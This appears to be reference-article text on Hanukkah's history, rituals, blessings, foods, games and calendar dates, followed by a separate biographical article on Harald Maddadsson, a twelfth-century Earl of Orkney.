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          The version of the story in 1 Maccabees, on the other hand, states that an eight day celebration of songs and sacrifices was proclaimed upon rededication of the altar, and makes no mention of the miracle of the oil. A number of historians believe that the reason for the eight day celebration was that the first Hanukkah was in effect a belated celebration of the festivals of Sukkot and Shemini Atzeret. During the war the Jews were not able to celebrate Sukkot/Shemini Atzeret properly; the combined festivals also last eight days, and the Sukkot festivities featured the lighting of lamps in the Temple (Suk.v. 2-4). The historian Josephus mentions the eight-day festival and its customs, but does not tell us the origin of the eight day lighting custom. Given that his audience was Hellenized Romans, perhaps his silence on the origin of the eight-day custom is due to its miraculous nature. In any event, he does report that lights were kindled in the household and the popular name of the festival was, therefore the "Festival of Lights" ("And from that time to this we celebrate this festival, and call it Lights").


          It has also been noted that the number eight has special significance in Jewish theology, as representing transcendence and the Jewish People's special role in human history. Seven is the number of days of creation, that is, of completion of the material cosmos, and also of the classical planets. Eight, being one step beyond seven, represents the Infinite. Hence, the Eighth Day of the Assembly festival, mentioned above, is according to Jewish Law a festival for Jews only (unlike Sukkot, when all peoples were welcome in Jerusalem). Similarly, the rite of brit milah (circumcision), which brings a Jewish male into God's Covenant, is performed on the eighth day. Hence, Hanukkah's eight days (in celebration of monotheistic morality's victory over Hellenistic humanism) have great symbolic importance for practicing Jews.


          


          Hanukkah rituals
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              Various menorot used for Hanukkah. 12th through 19th century, CE
            

          


          Hanukkah is celebrated by a series of rituals that are performed every day throughout the 8-day holiday. Some are family-based and others are communal. There are special additions to the daily prayer service, and a section is added to the blessing after meals. Hanukkah is not a "Sabbath-like" holiday, and there is no obligation to refrain from activities that are forbidden on the Sabbath, as specified in the Shulkhan Arukh People go to work as usual, but may leave early in order to be home to kindle the lights at nightfall. There is no religious reason for schools to be closed, although, in Israel, schools close for the whole week of Hanukkah.


          


          Kindling the Hanukkah lights


          The primary ritual, according to Jewish law and custom, is to light a single light each night for eight nights. As a universally practiced "beautification" of the mitzvah, the number of lights lit is increased by one each night. An extra light called a shamash, meaning guard or servant is also lit each night, and is given a distinct location, usually higher or lower than the others. The purpose of the extra light is to adhere to the prohibition, specified in the Talmud (Tracate Shabbat 21b-23a), against using the Hanukkah lights for anything other than publicizing and meditating on the Hanukkah story. This differs from Sabbath candles which are meant to be used for illumination. Hence, if one were to need extra illumination on Hanukkah, the shamash candle would be available and one would avoid using the prohibited lights. Some light the shamash candle first and then use it to light the others. So all together, including the shamash, two lights are lit on the first night, three on the second and so on, ending with nine on the last night, for a total of 44.
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          The lights can be candles or oil lamps. Electric lights are sometimes used and are acceptable in places where open flame is not permitted, such as a hospital room. Most Jewish homes have a special candelabrum or oil lamp holder for Hanukkah, which holds eight lights plus the additional shamash light.


          The reason for the Hanukkah lights is not for the "lighting of the house within", but rather for the "illumination of the house without," so that passers-by should see it and be reminded of the holiday's miracle. Accordingly lamps are set up at a prominent window or near the door leading to the street. It is customary amongst some Ashkenazim to have a separate menorah for each family member (customs vary), whereas most Sephardim light one for the whole household. Only when there was danger of anti-semitic persecution were lamps supposed to be hidden from public view, as was the case in Persia under the rule of the Zoroastrians, or in parts of Europe before and during World War II. However, most Hasidic groups, light lamps near an inside doorway, not necessarily in public view. According to this tradition, the lamps are placed on the opposite side from the mezuzah, so that when one passes through the door he is surrounded by the holiness of mitzvoth.
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          When to light the lights


          Hanukkah lights should burn for at least one half hour after it gets dark. The custom of the Vilna Gaon observed by many residents of Jerusalem as the custom of the city, is to light at sundown, although most Hassidim light later, even in Jerusalem. Many Hasidic Rebbes light much later, because they fulfill the obligation of publicizing the miracle by the presence of their Hasidim when they kindle the lights. Inexpensive small wax candles sold for Hanukkah burn for approximately half an hour, so on most days this requirement can be met by lighting the candles when it is dark outside. Friday night presents a problem, however. Candles must be lit before the start of Shabbat and inexpensive Hanukkah candles do not burn long enough to meet the requirement. A simple solution is to use longer candles, arranging them in a straight line and setting the shamash candle apart and above the rest, or by using the traditional oil lamps.


          


          Blessings over the candles
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              A menorah with two lit candles
            

          


          Typically three blessings (Brachot singular Brachah) are recited during this eight-day festival. On the first night of Hanukkah, Jews recite all three blessings, on all subsequent nights, they recite only the first two. The blessings are said before or after the candles are lit depending on tradition. On the first night of Hanukkah one light (candle, lamp, or electric) is lit on the right side of the Menorah, on the following night a second light is placed to the left of the first candle and so on, proceeding from right to left each night.


          


          The first blessing


          Recited on all eight nights prior to lighting the menorah:


          
            
              	Hebrew

              	English

              	Transliteration
            


            
              	'בָּרוּךְ אַתָה ה

              	Blessed are You,

              	Baruch atah Adonai
            


            
              	אֶלוֹהֵינוּ מֶלֶךְ הַעוֹלָם

              	Lord our God, King of the universe,

              	Eloheinu Melech ha'o'lam
            


            
              	אֲשֶׁר קִדְּשָׁנוּ בְּמִצְוֹתָיו

              	Who sanctified us with His commandments

              	asher kid'shanu b'mitzvotav
            


            
              	וְצִוָּנוּ לְהַדְלִיק נֵר (שֶל) חֲנֻכָּה

              	and commanded us to kindle the Chanukah lights."

              	v'tzivanu l'hadlik neir (shel) chanukah .
            

          


          


          The second blessing


          Recited on all eight nights prior to lighting the menorah:


          
            
              	Hebrew

              	English

              	Transliteration
            


            
              	'בָּרוּךְ אַתָה ה

              	Blessed are You,

              	Baruch atah Adonai
            


            
              	אֶלוֹהֵינוּ מֶלֶךְ הַעוֹלָם

              	Lord our God, King of the universe,

              	Eloheinu Melech ha'o'lam
            


            
              	שֶׁעָשָׂה נִסִּים לַאֲבוֹתֵינוּ

              	Who performed wondrous deeds for our ancestors,

              	she-asah nisim la-avoteinu,
            


            
              	בַּיָמִים הָהֵם בַּזְּמַן הַזֶּה

              	in those days, at this moment.

              	bayamim haheim, (u)baz'man hazeh.
            

          


          


          The third blessing


          Recited only on the first night prior to lighting the menorah:


          
            
              	Hebrew

              	English

              	Transliteration
            


            
              	'בָּרוּךְ אַתָה ה

              	Blessed are You,

              	Baruch atah Adonai
            


            
              	אֶלוֹהֵינוּ מֶלֶךְ הַעוֹלָם

              	Lord our God, King of the universe,

              	Eloheinu Melech ha'o'lam
            


            
              	שֵהֵחְיָנוּ וְקִיְימָנוּ

              	Who has kept us in life, sustained us,

              	sheh'heh'cheh'ya'nu veh'ki'yeh'ma'nu
            


            
              	וְהִגִעָנוּ לַזְמַן הַזֶה

              	and brought us to this moment.

              	veh'he'g'a'nu laz'man ha'zeh.
            

          


          


          After kindling the lights - Hanerot Halalu


          During or after the lights are kindled the Hanerot Halalu prayer is recited. There are several differing versions - the version presented here is recited in many Ashkenazic communities:


          
            
              	Ashkenazic version:
            


            
              	Transliteration

              	English
            


            
              	Hanneirot hallalu anachnu madlikin 'al hannissim ve'al hanniflaot 'al hatteshu'ot ve'al hammilchamot she'asita laavoteinu bayyamim haheim, (u)bazzeman hazeh 'al yedei kohanekha hakkedoshim. Vekhol-shemonat yemei Hanukkah hanneirot hallalu kodesh heim, ve-ein lanu reshut lehishtammesh baheim ella lir'otam bilvad kedei lehodot ul'halleil leshimcha haggadol 'al nissekha ve'al nifleotekha ve'al yeshu'otekha

              	We light these lights for the miracles and the wonders, for the redemption and the battles that you made for our forefathers, in those days at this season, through your holy priests. During all eight days of Hanukkah these lights are sacred, and we are not permitted to make ordinary use of them except for to look at them in order to express thanks and praise to Your great Name for your miracles, Your wonders and Your salvations.
            

          


          


          Singing of Maoz Tzur after lighting


          Each night after the lighting of the candles, while remaining within sight of the candles, Ashkenazim (and, in recent decades, some Sephardim and Mizrahim in Western countries) usually sing the hymn Ma'oz Tzur written in Medieval Germany. The song contains six stanzas. The first and last deal with general themes of divine salvation, and the middle four deal with events of persecution in Jewish history, and praises God for survival despite these tragedies (the the exodus from Egypt, the Babylonian captivity, the miracle of the holiday of Purim, and the Hasmonean victory).


          


          Other customs


          After lighting the candles and Ma'oz Tzur, singing various other Hanukkah songs is customary in many Jewish homes. Various Hasidic and Sefardic traditions have additional prayers that are recited both before and after lighting the Hanukkah lights. This includes the recitation of many Psalms, most notably Psalms 30, 67, and 91 (many Hasidim recite Psalm 91 seven times after lighting the lamps, as was taught by the Baal Shem Tov), as well as other prayers and hymns, each congregation according to its own custom. In North America it is common to exchange presents or give children presents at this time.


          


          Additions to the daily prayers


          
            
              	"We thank You also for the miraculous deeds and for the redemption and for the mighty deeds and the saving acts wrought by You, as well as for the wars which You waged for our ancestors in ancient days at this season. In the days of the Hasmonean Mattathias, son of Johanan the high priest, and his sons, when the iniquitous Greco-Syrian kingdom rose up against Your people Israel, to make them forget Your Torah and to turn them away from the ordinances of Your will, then You in your abundant mercy rose up for them in the time of their trouble, pled their cause, executed judgment, avenged their wrong, and delivered the strong into the hands of the weak, the many into the hands of few, the impure into the hands of the pure, the wicked into the hands of the righteous, and insolent ones into the hands of those occupied with Your Torah. Both unto Yourself did you make a great and holy name in Thy world, and unto Your people did You achieve a great deliverance and redemption. Whereupon your children entered the sanctuary of Your house, cleansed Your temple, purified Your sanctuary, kindled lights in Your holy courts, and appointed these eight days of Hanukkah in order to give thanks and praises unto Your holy name."

              Translation of Al ha-Nissim
            

          


          An addition is made to the "hoda'ah" (thanksgiving) benediction in the Amidah, called Al ha-Nissim ("On/about the Miracles"). This addition refers to the victory achieved over the Syrians by the Hasmonean Mattathias and his sons.


          The same prayer is added to the grace after meals. In addition, the Hallel Psalms are sung during each morning service and the Tachanun penitential prayers are omitted. The Torah is read every day in the synagogue, the first day beginning from Numbers 6:22 (According to some customs, Numbers 7:1), and the last day ending with Numbers 8:4.


          Since Hanukkah lasts eight days it includes at least one, and sometimes two, Jewish Sabbaths (Saturdays). The weekly Torah portion for the first Sabbath is almost always Miketz, telling of Joseph's dream and his enslavement in Egypt. The Haftarah reading for the first Sabbath Hanukkah is Zechariah 2:14-4:7. When there is a second Sabbath on Hanukkah, the Haftarah reading is from I Kings 7:40 - 7:50.


          The Hanukkah menorah is also kindled daily in the synagogue, at night with the blessings and in the morning without the blessings. The menorah is not lit on the Sabbath, but rather prior to the beginning of the Sabbath at night and not at all during the day.


          During the Middle Ages " Megillat Antiochus" was read in the Italian synagogues on Hanukkah just as the Book of Esther is read on Purim. It still forms part of the liturgy of the Yemenite Jews.


          


          Zot Hanukkah


          The last day of Hanukkah is known as Zot Hanukkah, from the verse in the Book of Numbers 7:84 "Zot Chanukat Hamizbe'ach" - "This was the dedication of the altar", which is read on this day in the synagogue. According to the teachings of Kabbalah and Hasidism, this day is the final "seal" of the High Holiday season of Yom Kippur, and is considered a time to repent out of love for God. In this spirit, many Hasidic Jews wish each other "Gmar chatimah tovah", "may you be sealed totally for good", a traditional greeting for the Yom Kippur season. It is taught in Hasidic and Kabbalistic literature that this day is particularly auspicious for the fulfillment of prayers.


          


          Judith and Holofernes
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          Eating dairy foods, especially cheese, on Hanukkah is a minor custom that has its roots in the story of Judith, as related in the book of Judith (Yehudit or Yehudis in Hebrew). Holofernes, an Assyrian general, had surrounded the village of Bethulia as part of his campaign to conquer Judea. After intense fighting, the water supply of the Jews is cut off and the situation became desperate. Judith, a pious widow, told the city leaders that she had a plan to save the city. Judith went to the Assyrian camps and pretended to surrender. She met Holofernes, who was smitten by her beauty. She went back to his tent with him, where she plied him with cheese and wine. When he fell into a drunken sleep, Judith beheaded him and escaped from the camp, taking the severed head with her. When Holofernes' soldiers found his corpse, they were overcome with fear; the Jews, on the other hand, were emboldened, and launched a successful counterattack. The town was saved, and the Assyrians defeated.


          Many argue that Holofernes was actually Greek, placing the events in the general time-frame of Hanukkah. The longstanding tradition that Judith was the daughter of Yochanan the High Priest, and consequently a sister of Mattathias the Hasmonean and an aunt of Judah the Maccabee, is how this story came to be associated with Hanukkah. There are many depictions of Judith and Holofernes in painting.


          


          Interaction with modernity and with other traditions


          The classical rabbis very much downplayed the military and nationlistic dimensions of Hanukkah, and some even interpret the emphasis upon the story of the miracle oil as a diversion away from the struggle with empires that had led to the disastrous downfall of Jerusalem to the Romans. With the advent of Zionism and the state of Israel, these themes were rapidly transvalued. In modern Israel, Hanukkah was transformed into a celebration of military strength, a kind of antidote to what was perceived as the powerless Diaspora Jew that the Zionists felt that the Jews in the State of Israel needed to psychologically overcome.


          In North America especially, Hanukkah gained increased importance with many Jewish families in the latter half of the twentieth century, including large numbers of secular Jews, who wanted a Jewish alternative to the Christmas celebrations that often overlap with Hanukkah. Though it was traditional to give "gelt" or money coins to children during Hanukkah, in many families this has changed into gifts in order to prevent Jewish children from feeling left out of the Christmas gift giving.


          While Hanukkah traditionally speaking is only a minor Jewish holiday, as indicated by the lack of restrictions on work other than a few minutes after lighting the candles, Hanukkah has taken a place equal to Passover as a symbol of Jewish identity. Both the Israeli and North American versions of Hanukkah emphasize resistance, focusing on some combination of national liberation and religious freedom as the defining meaning of the holiday.


          



          


          Environment reminder


          Most recently, some Jews in North America have taken up environmental concerns in relation to Hanukkah's "miracle of the oil", emphasizing reflection on energy conservation and energy independence. An example of this is the Coalition on the Environment and Jewish Life's renewable energy campaign.


          


          Hanukkah music


          There are several songs associated with the festival of Hanukkah. The most well known in English-speaking countries include "Dreidel, Dreidel, Dreidel" and "Chanukah, Oh Chanukah." In Israel, Hanukkah has become something of a national holiday. A large number of songs have been written on Hanukkah themes, perhaps more so than for any other Jewish holiday. Some of the most well known are "Hanukkiah Li Yesh" ("I Have a Hanukkah Menora"), "Kad Katan" ("A Small Jug"), "S'vivon Sov Sov Sov" ("Hanukka Top, Spin and Spin"), "Mi Yimalel" (Who can Retell") and "Ner Li, Ner Li" ("I have a Candle").


          


          Hanukkah foods
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          Potato pancakes, known as latkes in Yiddish, are traditionally associated with Hanukkah, especially among Ashkenazi families. There is a custom of eating foods fried or baked in oil (preferably olive oil), as the original miracle of the Hanukkah menorah involved the discovery of the small flask of oil used by the Jewish High Priest, the Kohen Gadol. This small batch of olive oil was only supposed to last one day, and instead it lasted eight.


          Many Sephardic families as well as Polish Ashkenazim and Israel have the custom of eating all kinds of fruit-filled doughnuts ( Yiddish: פאנטשקעס pontshkes), ( bimuelos, or sufganiyot) which are deep-fried in oil, and of course all Kosher foods.


          


          Hanukkah games


          


          Dreidel
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          The dreidel, or sevivon in Hebrew, is a four-sided spinning top that children play with on Hanukkah. Each side is imprinted with a Hebrew letter. These letters are an acronym for the Hebrew words, נס גדול היה שם, Nes Gadol Haya Sham"A great miracle happened there" (referring to the miracle of the oil that took place in the Beit Hamikdash).


          
            	נ ( Nun)


            	ג ( Gimel)


            	ה ( Hey)


            	ש ( Shin)

          


          In the state of Israel, the fourth side of most dreidels is inscribed with the letter פ ( Pe), rendering the acronym, נס גדול היה פה, Nes Gadol Haya Po"A great miracle happened here" referring to the fact that the miracle occurred in the land of Israel. Some stores in Haredi neighbourhoods may sell the traditional Shin dreidels.


          Some Jewish commentators ascribe symbolic significance to the markings on the dreidel. One commentary, for example, connects the four letters with the four exiles to which the nation of Israel was historically subjectBabylonia, Persia, Greece, and Rome.


          After lighting the Hanukkah menorah, it is customary in many homes to play the dreidel game: Each player starts out with 10 or 15 coins (real or of chocolate), nuts, raisins, candies or other markers, and places one marker in the "pot." The first player spins the dreidel, and depending on which side the dreidel falls on, either wins a marker from the pot or gives up part of his stash. The code (based on a Yiddish version of the game) is as follows:


          
            	Nun - nisht - "nothing" - nothing happens and the next player spins


            	Gimel - gants - "all" - the player takes the entire pot


            	Hey - halb - "half" - the player takes half of the pot, rounding up if there is an odd number


            	Shin - shtel ayn - "put in" - the player puts one marker in the pot

          


          Another version differs:


          
            	Nun - nim - "take" - the player takes one from the pot


            	Gimel - gib - "give" - the player puts one in the pot


            	Hey - halb - "half" - the player takes half of the pot, rounding up if there is an odd number


            	Shin - shtil - "still" (as in "stillness") - nothing happens and the next player spins

          


          The game may last until one person has won everything.


          Some say the dreidel game is played to commemorate a game devised by the Jews to camouflage the fact that they were studying Torah, which was outlawed by Greeks. The Jews would gather in caves to study, posting a lookout to alert the group to the presence of Greek soldiers. If soldiers were spotted, the Jews would hide their scrolls and spin tops, so the Greeks thought they were gambling, not learning.


          


          Hanukkah gelt


          Hanukkah gelt ( Yiddish for "money") is often distributed to children to enhance their enjoyment of the holiday. The amount is usually in small coins, although grandparents or other relatives may give larger sums as an official Hanukkah gift. In Israel, Hanukkah gelt is known as dmei Hanukkah. Many Hasidic Rebbes distribute coins to those who visit them during Hanukkah. Hasidic Jews consider this to be an auspicious blessing from the Rebbe, and a segulah for success.


          Twentieth-century American chocolatiers picked up on the gift/coin concept by creating chocolate gelt, or chocolate shaped and stamped like coins and wrapped in gold or silver foil. Chocolate gelt is often used in place of money in dreidel games.


          


          Alternative spellings based on transliterating Hebrew letters


          In Hebrew, the word Hanukkah is written חנֻכה or חנוכה. It is most commonly transliterated to English as Chanukah or Hanukkah, the latter because the sound represented by "CH" ([/x/], as in the Scottish pronunciation of "loch") essentially does not exist in the modern English language. Furthermore, the letter " heth" (ח), which is the first letter in the Hebrew spelling, is pronounced differently in modern Hebrew ( voiceless velar fricative) than in classical Hebrew ( voiceless pharyngeal fricative), and neither of those sounds is unambiguously representable in English spelling. Moreover, the 'kaf' consonant is geminate in classical (but not modern) Hebrew. Adapting the classical Hebrew pronunciation with the geminate and pharyngeal Ḥeth can lead to the spelling "Hanukkah"; while adapting the modern Hebrew pronunciation with no geminate and velar Ḥeth leads to the spelling "Chanukah". Variations include:
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          Most commonly used spellings


          
            	Hanukkah (in North America also very common in UK)


            	Chanukkah (in the UK and Australia, also common in North America)

          


          


          Common variants


          
            	Hannukah


            	Hannukkah


            	Chanukah


            	Channukkah

          


          



          


          YIVO variant


          
            	Khanike ( YIVO standard transliteration from the Yiddish and/or Ashkenazic pronunciation of the Hebrew)

          


          


          Background


          


          Chronology


          
            	198 BCE: Armies of the Seleucid King Antiochus III (Antiochus the Great) oust Ptolemy V from Judea and Samaria.


            	175 BCE: Antiochus IV (Epiphanes) ascends the Seleucid throne.


            	168 BCE: Under the reign of Antiochus IV, the Temple is looted, Jews are massacred, and Judaism is outlawed.


            	167 BCE: Antiochus orders an altar to Zeus erected in the Temple. Mattathias, and his five sons John, Simon, Eleazar, Jonathan, and Judah lead a rebellion against Antiochus. Judah becomes known as Judah Maccabe (Judah The Hammer).


            	166 BCE: Mattathias dies, and Judah takes his place as leader. The Hasmonean Jewish Kingdom begins; It lasts until 63 BCE


            	165 BCE: The Jewish revolt against the Seleucid monarchy is successful. The Temple is liberated and rededicated (Hanukkah).


            	142 BCE: Establishment of the Second Jewish Commonwealth. The Seleucids recognize Jewish autonomy. The Seleucid kings have a formal overlordship, which the Hasmoneans acknowledged. This inaugurates a period of great geographical expansion, population growth, and religious, cultural and social development.


            	139 BCE: The Roman Senate recognizes Jewish autonomy.


            	130 BCE: Antiochus VII besieges Jerusalem, but withdraws.


            	131 BCE: Antiochus VII dies. The Hasmonean Jewish Kingdom throws off Syrian rule completely


            	96 BCE: An eight year civil war begins.


            	83 BCE: Consolidation of the Kingdom in territory east of the Jordan River.


            	63 BCE: The Hasmonean Jewish Kingdom comes to an end due to rivalry between the brothers Aristobulus II and Hyrcanus II, both of whom appeal to the Roman Republic to intervene and settle the power struggle on their behalf. The Roman general Gnaeus Pompeius Magnus (Pompey the Great) is dispatched to the area. Twelve thousand Jews are massacred as Romans enter Jerusalem. The Priests of the Temple are struck down at the Altar. Rome annexes Judea.

          


          


          Battles of the Maccabean revolt


          There were a number of key battles between the Maccabees and the Seleucid Syrian-Greeks:


          
            	Listed alphabetically:

          


          
            	Battle of Adasa ( Judas Maccabeus leads the Jews to victory against the forces of Nicanor.)


            	Battle of Beth Horon (Judas Maccabeus defeats the forces of Seron.)


            	Battle of Beth-zechariah (Elazar the Maccabee is killed in battle. Lysias has success in battle against the Maccabess, but allows them temporary freedom of worship.)


            	Battle of Beth Zur (Judas Maccabeus defeats the army of Lysias, recapturing Jerusalem.)


            	Dathema (A Jewish fortress saved by Judas Maccabeus.)


            	Battle of Elasa (Judas Maccabeus dies in battle against the army of King Demetrius and Bacchides. He is succeeded by Jonathan Maccabaeus and Simon Maccabaeus who continue to lead the Jews in battle.)


            	Battle of Emmaus (Judas Maccabeus fights the forces of Lysias and Georgias).


            	Battle of Wadi Haramia.

          


          


          When Hanukkah occurs


          The dates of Hanukkah are determined by the Hebrew calendar. Hanukkah begins at the 25th day of Kislev and concluding on the 2nd or 3rd day of Tevet (Kislev can have 29 or 30 days). The Jewish day begins at sunset, whereas the Gregorian calendar begins the day at midnight. So, the first day of Hanukkah actually begins at sunset of the day immediately before the date noted on Gregorian calendars.


          


          Hanukkah according to the Gregorian calendar


          Hanukkah begins at sundown on the evening before the date shown.


          
            
              	
                
                  	December 22, 2000


                  	December 10, 2001


                  	November 30, 2002


                  	December 20, 2003


                  	December 8, 2004


                  	December 26, 2005


                  	December 16, 2006

                

              

              	
                
                  	December 5, 2007


                  	December 22, 2008


                  	December 12, 2009


                  	December 2, 2010


                  	December 21, 2011


                  	December 9, 2012


                  	November 28, 2013

                

              

              	
                
                  	December 17, 2014


                  	December 7, 2015


                  	December 25, 2016


                  	December 13, 2017


                  	December 3, 2018


                  	December 23, 2019
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          Harald Maddadsson ( Old Norse Haraldr Maddaarson, Gaelic Aralt mac Mataid) (c. 1134 1206) was Earl of Orkney and Mormaer of Caithness from 1139 until 1206. He was the son of Matad, Mormaer of Atholl, and Margaret, daughter of Earl Haakon Paulsson of Orkney. Of mixed Norse and Gaelic blood, and a descendant of Scots kings, he was a significant figure in northern Scotland, and played a prominent part in Scottish politics of the twelfth century. The Orkneyinga Saga names him one of the three more powerful Earls of Orkney with Sigurd Eysteinsson and Thorfinn Sigurdsson.


          


          Background


          In the early twelfth century, the Earldom of Orkney, although weakened since the time of Earl Thorfinn, remained in control of Caithness and was dominant in Sutherland and parts of the Outer Hebrides. Thus the succession of the earldom was of great interest to the Scots king David I. The marriage of Matad and Margart is believed to have taken place not long before 1134, shortly following David's suppression of a major revolt involving Mormaer engus of Moray, grandson of king Lulach, and Mel Coluim mac Alaxandair, the illegitimate son of David's brother Alexander, and the subsequent extension of royal power into the provinces of Moray and Ross. David's nephew William fitz Duncan was appointed to rule Moray, and it has been proposed that Matad, whose power lay in the Scottish kingdom's heartland of Atholl, may also have been granted authority in the new lands north of the Mounth, and that his marriage to Margarat Haakonsdaughter was arranged with this in mind.


          Harald Maddadsson was born shortly before Rognvald Kali Kolsson took control of the Earldom of Orkney, on the disappearance of Earl Paul Haakonson. The Orkneyinga Saga reports the official tale, that Paul had abdicated, and the rumour that he was killed on the orders of Harald's mother. Earl Paul had not been well loved by his female kin. His mother and her sister, Frakkok, had previously tried to murder him with a poisoned shirt which instead caused the death of his brother Harald Haakonsson. Rognvald represented the pro-Norwegian faction in the Earldom. It is said that Frakkok and her supporters had originally intended to advance the claims of Harald Haakon's son Erlend on Paul's death. However, Matad and Margaret, with King David backing them, imposed the infant Harald Maddadson as joint ruler with Rognvald.


          


          Early years


          The main threat to Harald Maddadsson and Rognvald Kali came from Erlend Haraldsson, especially from Erlend's supporter Frakkok. The old conspirator, however, was soon disposed of, burned to death in her hall near Helmsdale. The Orkneyinga Saga names one Svein Asleifsson as the killer, and says that he came to Caithness from the south, from Atholl, with Rognvald's blessing and Matad's help. This Svein Asleifsson had also been the man in whose custody Earl Paul had disappeared.


          In Harald's early years, when power was exercised jointly with Rognvald on his behalf by councillors chosen by King David, Orkney enjoyed relative stability, although the Saga contains the usual killings and burnings of the time, including the death of an Earl Valthjof who is otherwise unknown. In 1150 or 1151, Harald visited Norway with Earl Rognvald, and probably met with King Ingi Haraldsson. During this visit Rognvald made his decision to go on crusade, as recounted at length in the Saga.


          


          Earls Rognvald, Harald and Erlend


          After Harald returned to Orkney and Rognvald departed on his expedition, King Eystein Haraldsson, eldest brother of Ingi, undertook a raiding expedition from Norway against the Earldom of Orkney. DUring this operation he encountered Harald near Thurso and captured him. Harald was freed in return for a ransom in gold and by giving his oath to Eystein. Eystein then went on to raid the coasts of Scotland and England.


          Possibly as a result of Eystein's activities, King David granted half of Caithness to Harald's cousin, Erlend Haraldsson. The result, as recounted in the Orkneyinga Saga, was a political struggle which ended with Erlend's murder in 1154. Rognvald too was killed, in 1158. Svein Asleifsson was again heavily involved in this dynastic conflict. In 1153 King David died, to be succeeded by his young grandson, Malcolm IV. King Eystein too died in a war with his brothers Ingi and Sigurd which left Ingi the sole surviving son of Harald Gilli. As a result, by 1158 Harald Maddadsson was undisputed Earl of Orkney, with neither the King of Scots nor the King of Norway in any position to contest his power.


          


          Earl Harald and the kings' enemies


          From the death of Rognvald, Harald Maddadsson pursued a policy of supporting the enemies of the kings of Scotland, first Malcolm IV, who died young in 1165, then Malcolm's brother William. Of these enemies, those who were active in the north and west, where Harald's power was significant, were Somerled, king of Argyll and Hebrides (who married earl Harold's first cousin Ragnhild of the Man Island), the sons of Mel Coluim mac Alasdair, illegitimate son of King Alexander I, himself held prisoner at Roxburgh, the Meic Uilleim, the descendants of William fitz Duncan, and the MacHeths and dispossessed would-be Mormaers of Ross (who possibly were a branch of the ancient Loairn dynasty of Moray and claimants of its rights).


          An expedition to Ross by King William and his brother Earl David in 1179 may have been related to Harald's activities. Two years later the rebellion of Domnall, son of Mel Coluim mac Uilleim, broke out in Ross and Moray, and it is presumed that Earl Harald played a part in this. The rebellion was not finally suppressed until 1187.


          The defeat of Domnall's rebellion led to more conflict between Earl Harald and King William. After 1187, it appears that Scots and Scotto-Norman nobles were being planted in Ross and in Cromarty, as had previously happened in Moray. The de Moravia family, anglicised as Moray or Murray, which later produced Andrew Moray, were granted lands in Ross and Cromarty, and they are unlikely to have been unique in this award. When King William fell ill in 1195, this may have been the catalyst for the final conflict with Harald, which lasted from 1197 until 1201. As part of this struggle, William granted lands in Caithness to Harald the Young, grandson of Rognvald Kali, in 1197. Harald the Young was killed by Harald Maddadsson the following year.


          Harald Maddadson also faced troubles with the Norwegian king in the 1190s. In 1193 Orkney and Shetland warriors led by Harald's brother-in-law Olaf and one Hallkjell Jonsson, fought for Sigurd Magnusson against King Sverre Sigurdsson. King Sverre appears to have believed that Harald was involved in the affair, and after Sigurd Magnusson was killed on Asky, Sverre punished Harald by seizing Shetland, which was never returned in his lifetime.


          King William, the Orkneyinga Saga says, called upon the King of Mann, Ragnald Guthredsson, to fight against Harald. Rognvald had possibly spuriously claims to Harald's lands, because people remembered that Harald's mother was younger daughter of earl Haakon Paulsson, whereas the elder daughter had married the king of Isle of Man (although Ragnald's father Godfrey of Man had been that lady's stepson and not her own son). Harald, however, retook Caithness at this time. In this campaign, dated to 1201, the Saga tells that Harald came to the stronghold of Bishop John of Caithness, at Scrabster. Bishop John went to meet Harald, apparently to greet him, but the Earl had him seized, tortured and mutilated. The Gesta Annalia reports that Harald treatmented Bishop John in this way because he believed that John was an informant set on making trouble between Harald and King William.


          The creation of John's see of Caithness in 11891190 was undoubtedly intended to extend Scots authority in the region. The new bishopric was not uncontroversial and John soon came into conflict with Harald Maddadson and the Bishop of Orkney, Bjarni Kolbeinsson. The conflict, presented as a dispute over the collection of monies for the papacy (a form of Peter's pence), was appealed to Pope Innocent III, who wrote to Bishop Bjarni and the Bishop of Rosemarkie (or Ross) to prevent John from interfering with the collection.


          King William, using the treatment of Bishop John as a cause for war with Harald , brought a large army north in 12011202. The army, it is said, was so large that Harald capitulated without a fight and agreed to give a quarter of the revenues of Caithness to William. During this time, Earl Harald's son Thorfinn was captured by the Scots. Whether in revenge for the treatment of Bishop John, or to cow Harald, or because Thorfinn may have had some claim to the throne through his mother (the lady of Moray), he was blinded and castrated, dying soon later in prison.


          In 1202 Pope Innocent, persuaded that Harald was not personally responsible for the abuse of Bishop John, wrote to Bishop Bjarni to order him to ensure that Harald's man Lumberd, who was blamed for the deeds, was suitably punished. With this, the story of Harald's turbulent life reaches its close. He died of natural causes in 1206 after a long and eventful reign of 65 years, aged about 72.


          


          The Haraldssons


          Harald's first wife was named Affrica, a Gaelic name shared with a daughter of Fergus of Galloway. They had four children together whom the Orkneyinga Saga names as Heinrek, Haakon, Helena and Margaret.


          The second wife of Earl Harald, the Orkneyinga Saga says, was Hvarflod (erroneusly called Gormflaith in some literature), daughter of "Earl Mel Coluim of Moray", whom he married around 1168, and with her he had six children: Thorfinn, David, Jon, Gunnhild, Herborga and Langlif. Hvarflod's father is presumed to have been Mel Coluim mac Aedh (possibly an heir of the Moray/ Loairn dynasty's rights), so that her sons, and it may be that she was the mother of Thorfinn alone of Harald's sons, would carry on the old rival claims to the Scots throne. It appears that King William demanded that Harald repudiate Hvarflod as a condition of peace between them. Of the surviving Haraldssons, David and Jon were joint Earls of Orkney on their father's death, while Heinrek (Eanric mac Arailt mac Mataidh) ruled Ross. Nothing more is known of Heinrik and Earl David Haraldsson died of sickness in 1214, leaving Jon to rule alone until 1231.


          In 1222 Earl Jon was implicated, indirectly, in the burning of Bishop Adam of Caithness in his hall at Halkirk by local farmers. Jon was accused of looking on or of fomenting the discontent. King Alexander II undertook harsh reprisals for the killing, to the satisfaction of Pope Honorius III. The writer of the Orkneyinga Saga reportedthat "The punishments by Alexander for the burning of the bishop, by mutilation and death, confiscation and outlawry from the land, are still in fresh memory".


          Jon Haraldsson was killed in 1231, at Thurso in Caithness, by a great-grandson of Rognvald Kali called Snaekoll, who had demanded that Jon should share the Earldom with him, as had been done before. Jon's supporters and Snaekoll's fought a war until it was agreed that King Haakon Sverreson should settle the matter. All concerned set off to Norway, but a ship carrying Earl Jon, his supporters, and his kin, was lost at sea on the return voyage.


          As a result, the line of Norse Earls came to a temporary end and from 1231 until 1236 Orkney was without an Earl. In 1236 the Earldom was granted by Haakon IV of Norway, to Magnus, son of Gille Brigte, Mormaer of Angus. Although ruled by Angus, Strathearn and Sinclair lords thereafter, Orkney remained part of the kingdom of Norway.
